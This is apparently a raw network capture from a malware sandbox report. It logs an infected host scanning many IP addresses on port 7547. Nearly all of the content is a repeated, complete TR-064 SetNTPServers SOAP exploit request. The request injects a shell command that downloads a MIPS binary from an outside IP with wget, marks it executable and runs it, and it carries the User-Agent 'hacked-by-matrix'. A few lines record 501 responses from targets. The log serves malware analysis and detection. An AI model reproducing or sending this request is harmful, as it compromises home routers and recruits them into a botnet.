Mar 21, 2024 05:22:14.733300924 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:16.172313929 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:19.052253962 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:24.940696955 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:36.460333109 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:00.015332937 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:47.116224051 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
352	192.168.2.13	50460	221.163.122.79	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:13.645281076 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
353	192.168.2.13	40112	12.110.11.65	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:13.903213978 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
354	192.168.2.13	56656	46.159.48.195	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.076858044 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:15.629439116 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:15.874593973 CET	125	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Sat, 03 Jan 1970 16:44:48 GMT Connection: close
Mar 21, 2024 05:22:18.676832914 CET	125	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Sat, 03 Jan 1970 16:44:48 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
355	192.168.2.13	40154	12.110.11.65	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.077203989 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
356	192.168.2.13	48576	141.164.173.137	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.125571012 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:15.276297092 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:16.620263100 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:19.312256098 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:24.687271118 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:35.437388897 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:57.968262911 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:40.976242065 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
357	192.168.2.13	50298	102.157.201.178	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.131391048 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
358	192.168.2.13	48586	141.164.173.137	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.346043110 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:15.500267982 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:16.844257116 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:19.564248085 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:24.940256119 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:35.692305088 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:57.968255043 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:40.976207972 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
359	192.168.2.13	50308	102.157.201.178	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.357805014 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
360	192.168.2.13	33978	109.218.220.209	443

Timestamp	Bytes transferred	Direction	Data
